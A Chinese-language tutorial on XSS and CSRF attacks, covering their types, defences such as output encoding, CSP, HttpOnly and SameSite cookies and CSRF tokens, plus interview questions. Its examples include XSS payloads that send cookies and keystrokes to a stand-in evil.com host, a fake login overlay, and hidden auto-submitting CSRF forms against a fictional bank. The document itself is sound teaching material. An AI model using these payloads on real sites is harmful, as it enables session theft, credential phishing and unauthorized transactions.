XSS 与 CSRF 攻击详解
在 Web 开发中,XSS(跨站脚本攻击) 和 CSRF(跨站请求伪造) 是最常见也最危险的两类安全漏洞。可以这样形象地理解:
- XSS 就像有人在你家的信箱里塞了一封"伪造的家书",你以为是家人写的,打开后却触发了陷阱——攻击者在你信任的网站上"植入"了恶意代码,浏览器误以为是网站自己的代码,于是乖乖执行。
- CSRF 就像有人冒充你的笔迹给银行写了一封转账信——攻击者借用你的身份(Cookie),在你不知情的情况下向网站发送了伪造请求。
XSS(Cross-Site Scripting)
什么是 XSS?
XSS,全称 Cross-Site Scripting(为了不与 CSS 缩写冲突,所以叫 XSS),是指攻击者通过各种手段将恶意脚本注入到网页中,当其他用户浏览该页面时,恶意脚本就会在用户的浏览器中执行。
核心原理:浏览器无法区分"网站正常代码"和"攻击者注入的代码",只要是页面里的脚本,浏览器都会执行。
XSS 的三种类型
XSS 根据攻击方式的不同,分为三种类型:
1. 存储型 XSS(Stored XSS)
恶意脚本被永久存储在服务器(如数据库)中,所有访问该页面的用户都会中招。这是危害最大的 XSS 类型。
典型场景:论坛发帖、评论区、用户个人资料等。
// 假设这是一个论坛的评论功能
// 攻击者在评论框中输入:
const maliciousComment = `
好文章!
<script>
// 窃取用户 Cookie 发送到攻击者服务器
fetch('https://evil.com/steal?cookie=' + document.cookie);
</script>
`;
// ❌ 服务端未做过滤,直接存入数据库
// ❌ 前端直接渲染 HTML
commentContainer.innerHTML = maliciousComment;
// 所有查看该评论的用户,Cookie 都被偷走了!
攻击流程:
2. 反射型 XSS(Reflected XSS)
恶意脚本藏在 URL 参数中,服务器接收到请求后,把参数原样"反射"回页面中。攻击者需要诱导用户点击特制的链接。
典型场景:搜索结果页、错误信息页等。
假设搜索页面的 URL 是:
https://example.com/search?q=手机
攻击者构造恶意 URL:
https://example.com/search?q=<script>fetch('https://evil.com/steal?c='+document.cookie)</script>
// ❌ 服务端直接把搜索关键词拼接进 HTML 返回
app.get('/search', (req, res) => {
const keyword = req.query.q;
res.send(`
<h2>搜索结果:${keyword}</h2>
<p>未找到相关内容</p>
`);
// 如果 keyword 是 <script>恶意代码</script>,就会被浏览器执行
});
- 存储型:恶意代码存在服务器上,任何访问者都会中招,持续性攻击
- 反射型:恶意代码在 URL 中,需要受害者点击恶意链接才触发,一次性攻击
3. DOM 型 XSS(DOM-based XSS)
恶意脚本完全在**前端(浏览器端)**处理,不经过服务器。前端 JavaScript 直接从 URL、location.hash 等不可信来源获取数据,未经过滤就插入到 DOM 中。
// 页面根据 URL hash 显示欢迎信息
// 正常 URL:https://example.com/welcome#Terry
// 恶意 URL:https://example.com/welcome#<img src=x onerror=alert(document.cookie)>
// ❌ 危险:直接将不可信数据插入 DOM
const name = location.hash.substring(1);
document.getElementById('greeting').innerHTML = '欢迎你,' + name;
// ✅ 安全:使用 textContent 而非 innerHTML
document.getElementById('greeting').textContent = '欢迎你,' + name;
三种 XSS 类型对比:
| 类型 | 恶意代码存放 | 是否经过服务器 | 触发方式 | 危害程度 |
|---|---|---|---|---|
| 存储型 | 服务器数据库 | ✅ | 用户正常访问即触发 | ⭐⭐⭐ |
| 反射型 | URL 参数 | ✅ | 需诱导用户点击恶意链接 | ⭐⭐ |
| DOM 型 | URL 参数 / 前端输入 | ❌ | 需诱导用户点击恶意链接 | ⭐⭐ |
XSS 能做什么?
XSS 一旦成功,攻击者可以在受害者的浏览器中执行任意 JavaScript,危害包括但不限于:
| 攻击行为 | 说明 |
|---|---|
| 窃取 Cookie | document.cookie 获取用户登录凭证 |
| 窃取用户信息 | 读取页面上的敏感数据(姓名、邮箱、银行卡号等) |
| 键盘记录 | 监听 keydown 事件,记录用户输入的密码等 |
| 钓鱼攻击 | 动态修改页面内容,伪造登录框骗取密码 |
| 传播蠕虫 | 脚本自动传播到其他用户(如微博 XSS 蠕虫) |
| 发起 CSRF | 以用户身份发送请求(转账、改密码等) |
// 示例:键盘记录器
document.addEventListener('keydown', (e) => {
fetch('https://evil.com/log', {
method: 'POST',
body: JSON.stringify({
key: e.key,
url: location.href,
timestamp: Date.now(),
}),
});
});
// 示例:伪造登录框进行钓鱼
document.body.innerHTML = `
<div style="display:flex;justify-content:center;align-items:center;height:100vh;">
<form action="https://evil.com/phishing" method="POST">
<h2>会话已过期,请重新登录</h2>
<input name="username" placeholder="用户名" />
<input name="password" type="password" placeholder="密码" />
<button type="submit">登录</button>
</form>
</div>
`;
XSS 防御方案
1. 输出编码(最核心的防御)
原则:永远不要信任用户输入,在将数据插入 HTML 之前进行编码。
根据数据插入的上下文,采用不同的编码方式:
// HTML 实体编码 —— 用于插入 HTML 标签内容时
function escapeHTML(str) {
const escapeMap = {
'&': '&',
'<': '<',
'>': '>',
'"': '"',
"'": ''',
};
return str.replace(/[&<>"']/g, (char) => escapeMap[char]);
}
// ✅ 安全渲染
const userInput = '<script>alert("xss")</script>';
element.innerHTML = escapeHTML(userInput);
// 输出:<script>alert("xss")</script>
// 浏览器显示纯文本,不会执行脚本
不同上下文的编码规则:
| 插入位置 | 编码方式 | 示例 |
|---|---|---|
| HTML 标签内容 | HTML 实体编码 | <div>用户输入</div> |
| HTML 属性值 | HTML 属性编码 | <img alt="用户输入"> |
| JavaScript 字符串 | JavaScript 编码 | var name = '用户输入'; |
| URL 参数 | URL 编码(encodeURIComponent) | ?name=用户输入 |
| CSS 值 | CSS 编码 | color: 用户输入; |
2. 使用安全的 DOM API
// ❌ 危险:innerHTML 会解析 HTML,可能执行脚本
element.innerHTML = userInput;
// ✅ 安全:textContent 只会当纯文本处理
element.textContent = userInput;
// ❌ 危险:document.write 直接写入文档流
document.write(userInput);
// ❌ 危险:eval 执行任意代码
eval(userInput);
// ❌ 危险:通过字符串创建函数
new Function(userInput)();
setTimeout(userInput, 0);
setInterval(userInput, 1000);
以下 API 都可能导致 XSS,使用时务必确保数据来源可信:
element.innerHTML/element.outerHTMLdocument.write()/document.writeln()eval()/new Function()/setTimeout(string)/setInterval(string)element.setAttribute('onclick', ...)等事件属性location.href = 'javascript:...'
3. HttpOnly Cookie
设置 HttpOnly 标志的 Cookie,JavaScript 无法通过 document.cookie 读取,从根本上阻止 XSS 窃取 Cookie:
Set-Cookie: session_id=abc123; HttpOnly; Secure; SameSite=Strict
// 攻击者注入的脚本尝试窃取 Cookie
document.cookie; // 无法获取标记了 HttpOnly 的 Cookie!
HttpOnly 只能保护 Cookie 不被偷,不能阻止 XSS 执行其他恶意操作(如篡改页面、键盘记录等)。所以HttpOnly 是必要的但不是充分的防御。
4. CSP(Content Security Policy,内容安全策略)
CSP 通过白名单机制,告诉浏览器哪些来源的资源可以加载和执行,从而大幅降低 XSS 的危害。
# 通过 HTTP 响应头设置 CSP
Content-Security-Policy: default-src 'self'; script-src 'self' https://cdn.example.com; style-src 'self' 'unsafe-inline'; img-src *;
<!-- 或通过 meta 标签设置 -->
<meta http-equiv="Content-Security-Policy"
content="default-src 'self'; script-src 'self';">
常用 CSP 指令:
| 指令 | 说明 | 示例 |
|---|---|---|
default-src | 默认加载策略 | default-src 'self' |
script-src | JavaScript 来源 | script-src 'self' https://cdn.com |
style-src | CSS 来源 | style-src 'self' 'unsafe-inline' |
img-src | 图片来源 | img-src * data: |
connect-src | AJAX/Fetch/WebSocket 连接目标 | connect-src 'self' https://api.com |
frame-src | iframe 来源 | frame-src 'none' |
即使攻击者成功注入了 <script> 标签,如果 CSP 不允许执行内联脚本(未设置 'unsafe-inline'),浏览器也会拒绝执行。这是一道强有力的最后防线。
5. 前端框架的自动防护
现代前端框架(React、Vue 等)默认对插入的内容进行转义,大大降低了 XSS 风险:
// ✅ React 默认安全:自动转义
function Comment({ text }) {
return <div>{text}</div>; // 即使 text 包含 <script>,也只显示纯文本
}
// ❌ 危险:dangerouslySetInnerHTML 跳过转义
function Comment({ html }) {
return <div dangerouslySetInnerHTML={{ __html: html }} />;
// 名字里带 "dangerously" 就是在警告你!
}
<!-- ✅ Vue 默认安全:双花括号自动转义 -->
<template>
<div>{{ userInput }}</div> <!-- 安全 -->
</template>
<!-- ❌ 危险:v-html 跳过转义 -->
<template>
<div v-html="userInput"></div> <!-- 危险! -->
</template>
防御总结
CSRF(Cross-Site Request Forgery)
什么是 CSRF?
CSRF,全称 Cross-Site Request Forgery(跨站请求伪造),是指攻击者诱导已登录的用户访问恶意页面,该页面在用户不知情的情况下,借用用户的登录凭证(Cookie)向目标网站发送伪造的请求。
核心原理:浏览器在发送请求时会自动携带目标域名的 Cookie。攻击者虽然拿不到 Cookie 的值,但可以"借刀杀人"——让浏览器自动带上 Cookie 发请求。
CSRF 攻击中,攻击者并不需要获取用户的 Cookie。他只需要让用户的浏览器向目标网站发出请求,浏览器就会自动附带 Cookie。攻击者利用的是"浏览器自动带 Cookie"这个机制。
CSRF 的攻击方式
1. 自动提交的表单(POST 型)
这是最常见的 CSRF 方式。攻击者构造一个隐藏的表单,页面加载后自动提交:
<!-- 恶意网站的页面 evil.com -->
<h1>恭喜你中了大奖!点击领取 →</h1>
<!-- 用户看不到这个表单 -->
<form action="https://bank.com/transfer" method="POST" style="display:none;">
<input name="to" value="attacker_account" />
<input name="amount" value="10000" />
</form>
<script>
// 页面加载后自动提交表单
document.forms[0].submit();
</script>
<!--
用户一打开这个页面,浏览器就会:
1. 向 bank.com 发送 POST 请求
2. 自动带上 bank.com 的 Cookie(因为用户已登录)
3. 银行服务器收到请求,验证 Cookie 通过,执行转账
-->
2. 图片链接(GET 型)
如果目标网站的重要操作使用 GET 请求(这本身就是不规范的),攻击更加简单:
<!-- 恶意网站只需要一张"图片" -->
<img src="https://bank.com/transfer?to=attacker&amount=10000" style="display:none;" />
<!--
浏览器尝试加载这张"图片"时,会向 bank.com 发送 GET 请求
并自动携带 bank.com 的 Cookie
-->
3. 隐藏的 iframe + 表单
<iframe name="csrf-frame" style="display:none;"></iframe>
<form action="https://bank.com/transfer" method="POST" target="csrf-frame">
<input name="to" value="attacker" />
<input name="amount" value="5000" />
</form>
<script>document.forms[0].submit();</script>
4. 利用链接诱导点击(GET 型)
<a href="https://bank.com/transfer?to=attacker&amount=10000">
点击查看你的优惠券
</a>
CSRF 攻击的前提条件
CSRF 能成功必须同时满足以下条件:
CSRF 的防御方案
1. SameSite Cookie(推荐,最简单)
现代浏览器支持的 SameSite 属性可以从源头上限制 Cookie 的跨站发送行为:
Set-Cookie: session=abc123; SameSite=Strict; Secure; HttpOnly
| SameSite 值 | 效果 | CSRF 防护 |
|---|---|---|
Strict | 完全禁止跨站携带 Cookie | ✅ 完全防御 |
Lax(默认) | 仅允许顶级导航的 GET 请求携带 | ✅ 防御 POST 型 CSRF |
None | 允许所有跨站请求携带 | ❌ 无防护 |
SameSite=Lax 虽然是默认值,但它只防御 POST 型 CSRF。如果你的网站存在 GET 请求执行敏感操作的问题,Lax 是不够的。重要操作应该始终使用 POST/PUT/DELETE 方法。
2. CSRF Token(最经典的防御方案)
在每个表单中放置一个随机生成的 Token,提交表单时服务端验证 Token 是否匹配。攻击者无法获取到这个 Token,因此无法构造有效的请求。
工作流程:
前端实现:
<!-- 服务端渲染的表单 -->
<form action="/transfer" method="POST">
<input type="hidden" name="_csrf" value="随机生成的Token值" />
<input name="to" placeholder="转账账号" />
<input name="amount" placeholder="金额" />
<button type="submit">转账</button>
</form>
后端实现(Node.js + Express 示例):
const crypto = require('crypto');
// 生成 CSRF Token
function generateCSRFToken() {
return crypto.randomBytes(32).toString('hex');
}
// 中间件:为每个请求生成并验证 Token
app.use((req, res, next) => {
if (req.method === 'GET') {
// GET 请求:生成 Token 放入 Session
req.session.csrfToken = generateCSRFToken();
res.locals.csrfToken = req.session.csrfToken;
} else {
// POST/PUT/DELETE 请求:验证 Token
const token = req.body._csrf || req.headers['x-csrf-token'];
if (token !== req.session.csrfToken) {
return res.status(403).json({ error: 'CSRF Token 验证失败' });
}
}
next();
});
SPA(单页应用)中的 CSRF Token:
在前后端分离的项目中,通常把 Token 放在响应头或 Cookie(非 HttpOnly)中,前端通过 AJAX 请求头携带:
// 后端:将 Token 放入 Cookie(可被 JS 读取)
res.cookie('XSRF-TOKEN', csrfToken, {
httpOnly: false, // 前端需要读取
secure: true,
sameSite: 'Strict',
});
// 前端:从 Cookie 中读取 Token,放入请求头
function getCookie(name) {
const match = document.cookie.match(new RegExp('(^| )' + name + '=([^;]+)'));
return match ? match[2] : null;
}
fetch('/api/transfer', {
method: 'POST',
headers: {
'Content-Type': 'application/json',
'X-CSRF-Token': getCookie('XSRF-TOKEN'), // 请求头携带 Token
},
body: JSON.stringify({ to: 'friend', amount: 100 }),
});
3. 验证 Origin / Referer
服务端检查请求的来源是否是自己的域名:
app.use((req, res, next) => {
const origin = req.headers['origin'] || req.headers['referer'];
if (!origin) {
// 没有 Origin/Referer,可能是直接访问或旧浏览器
return res.status(403).json({ error: '缺少来源信息' });
}
const allowedOrigins = ['https://example.com', 'https://www.example.com'];
const requestOrigin = new URL(origin).origin;
if (!allowedOrigins.includes(requestOrigin)) {
return res.status(403).json({ error: '非法来源' });
}
next();
});
Referer在某些情况下可能不会发送(如 HTTPS → HTTP 跳转、浏览器隐私设置)Referer理论上可以被伪造(虽然浏览器通常不允许 JS 修改)- 建议作为辅助防御,不要作为唯一手段
4. 双重 Cookie 验证
利用"攻击者无法读取目标域名 Cookie"这一特性:
// 前端:从 Cookie 中读取 Token,同时放入请求参数或请求头
const csrfToken = getCookie('csrf-token');
fetch('/api/action', {
method: 'POST',
headers: {
'X-CSRF-Token': csrfToken, // 请求头中也带上
},
credentials: 'include', // Cookie 自动携带
});
// 后端:对比 Cookie 中的 Token 和请求头中的 Token 是否一致
app.use((req, res, next) => {
const cookieToken = req.cookies['csrf-token'];
const headerToken = req.headers['x-csrf-token'];
if (!cookieToken || cookieToken !== headerToken) {
return res.status(403).json({ error: 'CSRF 验证失败' });
}
next();
});
原理:攻击者虽然可以让浏览器自动带上 Cookie,但由于同源策略,攻击者无法用 JS 读取目标域名的 Cookie 值,因此无法在请求头或请求体中设置正确的 Token。
防御总结
XSS 与 CSRF 的区别
这两种攻击经常被放在一起比较,但它们的本质完全不同:
| 对比维度 | XSS | CSRF |
|---|---|---|
| 攻击目标 | 用户的浏览器 | 目标网站的服务器 |
| 攻击原理 | 注入并执行恶意脚本 | 借用用户身份发送伪造请求 |
| 是否需要注入代码 | ✅ 需要 | ❌ 不需要 |
| 是否需要用户登录 | 不一定 | ✅ 必须已登录 |
| 攻击者能否获取数据 | ✅ 可以窃取 Cookie、页面数据 | ❌ 只能发请求,看不到响应 |
| 信任关系 | 用户信任网站 → 执行网站上的脚本 | 网站信任用户 → 处理用户发来的请求 |
| 核心防御 | 输出编码 + CSP | CSRF Token + SameSite Cookie |
XSS 可以辅助 CSRF 攻击。如果攻击者通过 XSS 获取了 CSRF Token,就可以绕过 Token 验证发起 CSRF 攻击。所以防御 XSS 也是防御 CSRF 的重要环节。
综合防御最佳实践
在实际项目中,安全防御应该是多层次、纵深式的:
// Express 应用的安全配置示例
const express = require('express');
const helmet = require('helmet');
const app = express();
// 1. 使用 helmet 设置安全响应头
app.use(helmet());
// 2. 设置严格的 CSP
app.use(
helmet.contentSecurityPolicy({
directives: {
defaultSrc: ["'self'"],
scriptSrc: ["'self'"], // 只允许同源脚本
styleSrc: ["'self'", "'unsafe-inline'"],
imgSrc: ["'self'", 'data:', 'https:'],
connectSrc: ["'self'"],
frameSrc: ["'none'"], // 禁止 iframe
},
})
);
// 3. Cookie 安全配置
app.use((req, res, next) => {
res.cookie('session', req.session.id, {
httpOnly: true, // 防 XSS 窃取
secure: true, // 仅 HTTPS
sameSite: 'Strict', // 防 CSRF
maxAge: 3600000, // 1 小时过期
});
next();
});
// 4. CSRF Token 验证
const csrf = require('csurf');
app.use(csrf({ cookie: true }));
// 5. 输入验证与输出编码
// 使用 DOMPurify(前端)或 xss 库(后端)过滤 HTML
const xss = require('xss');
app.post('/api/comment', (req, res) => {
const safeContent = xss(req.body.content); // 过滤危险标签
// 存储 safeContent...
});
面试高频问答
Q1:什么是 XSS 攻击?有哪些类型?
答: XSS(跨站脚本攻击)是指攻击者将恶意脚本注入到网页中,当用户浏览页面时,恶意脚本在浏览器中执行。分为三种类型:
- 存储型 XSS:恶意代码存储在服务器数据库中,所有访问相关页面的用户都会受到影响。如:在评论区插入恶意脚本。危害最大。
- 反射型 XSS:恶意代码在 URL 参数中,服务器将参数原样"反射"到响应页面中。需要诱导用户点击恶意链接。
- DOM 型 XSS:完全在前端执行,恶意代码通过 URL 等渠道,被前端 JavaScript 直接解析执行,不经过服务器。
Q2:如何防御 XSS 攻击?
答: 多层防御:
- 输出编码(最核心):在将用户数据插入 HTML 前进行转义(HTML 实体编码),不同上下文用不同编码方式。
- 使用安全 API:优先使用
textContent而非innerHTML,避免eval()、document.write()等危险 API。 - HttpOnly Cookie:防止脚本窃取 Cookie。
- CSP(内容安全策略):通过白名单限制可执行的脚本来源,禁止内联脚本执行。
- 利用框架防护:React/Vue 默认转义插值内容,避免使用
dangerouslySetInnerHTML/v-html。 - 输入验证:对用户输入进行校验(长度、格式、白名单等),但不能仅靠输入过滤防 XSS。
Q3:什么是 CSRF 攻击?举例说明。
答: CSRF(跨站请求伪造)是指攻击者诱导已登录用户访问恶意页面,在用户不知情的情况下,利用用户的登录状态(Cookie)向目标网站发送伪造请求。
举例:用户已登录银行网站,然后打开了一个恶意页面。该页面包含一个隐藏的表单,自动向银行网站发起转账请求。由于浏览器会自动携带银行网站的 Cookie,银行服务器以为是用户本人操作,转账就成功了。
关键:攻击者不需要获取 Cookie,只需要让浏览器自动带上 Cookie 即可。
Q4:如何防御 CSRF 攻击?
答:
- SameSite Cookie(最简单):设置
SameSite=Strict或Lax,限制 Cookie 跨站发送。 - CSRF Token(最经典):在表单中加入服务端生成的随机 Token,提交时验证 Token。攻击者无法获取 Token,因此无法构造有效请求。
- 验证 Origin/Referer:检查请求的来源域名,拒绝非本站请求。作为辅助手段。
- 关键操作二次确认:对敏感操作(如转账、改密码)要求输入验证码或密码。
- 避免 GET 请求执行敏感操作:写操作统一使用 POST/PUT/DELETE。
Q5:XSS 和 CSRF 有什么区别和联系?
答:
区别:
- XSS 是在用户浏览器中执行恶意代码,目的是窃取数据或控制页面;CSRF 是伪造用户请求,目的是以用户身份执行操作。
- XSS 需要网站存在注入漏洞;CSRF 需要用户已登录目标网站。
- XSS 攻击者可以获取数据(Cookie、页面内容);CSRF 攻击者只能发送请求,无法看到响应。
联系:
- XSS 可以辅助 CSRF——通过 XSS 窃取 CSRF Token 来绕过 Token 验证。
- 防御 XSS 也间接防御了 CSRF(因为攻击者无法通过注入脚本获取 Token)。
Q6:CSP 是什么?它是如何防御 XSS 的?
答: CSP(Content Security Policy,内容安全策略)是浏览器的一种安全机制,通过 HTTP 响应头 Content-Security-Policy 或 <meta> 标签声明一个白名单策略,告诉浏览器只允许加载和执行白名单内的资源。
防御 XSS 的原理:
- 禁止内联脚本执行:不设置
'unsafe-inline',即使攻击者注入了<script>标签,浏览器也不会执行。 - 限制脚本来源:只允许从指定域名加载脚本,攻击者的外部脚本会被拦截。
- 禁止
eval()等危险函数:不设置'unsafe-eval'。
CSP 不能替代输出编码,而是作为最后一道防线——即使编码遗漏了某处输入导致 XSS 注入,CSP 也能阻止脚本执行。
Q7:为什么说"不要信任用户输入"?具体怎么做?
答: 因为用户输入是 Web 应用最主要的攻击入口。所有来自用户的数据(表单输入、URL 参数、Cookie、HTTP 头等)都可能包含恶意内容。
具体做法:
- 输入验证:检查格式、长度、类型是否符合预期(白名单验证优于黑名单)。
- 输出编码:根据数据最终出现的上下文(HTML、JS、URL、CSS)进行相应编码。
- 参数化查询:数据库操作使用参数化查询防止 SQL 注入。
- 使用安全框架:React/Vue 的自动转义、ORM 的参数化查询等。
输入验证不能替代输出编码——因为同一个输入可能出现在不同上下文中,每个上下文需要不同的编码方式。
Q8:在 SPA 应用中,CSRF 防御有什么不同?
答: SPA(单页应用)通常使用 AJAX(Fetch/XMLHttpRequest)发送请求,与传统表单提交有所不同:
- Token 传递方式不同:不能放在隐藏的表单字段中,通常放在自定义请求头中(如
X-CSRF-Token)。 - Token 获取方式:可以通过初始页面加载时从服务端获取,或通过非 HttpOnly 的 Cookie 读取。
- 天然的部分防护:自定义请求头(如
X-CSRF-Token)本身就有一定防护作用,因为跨域的简单请求无法携带自定义头(需要通过 CORS 预检)。 - 结合 SameSite Cookie:SPA 配合
SameSite=Strict的 Cookie 是最简洁有效的防御方案。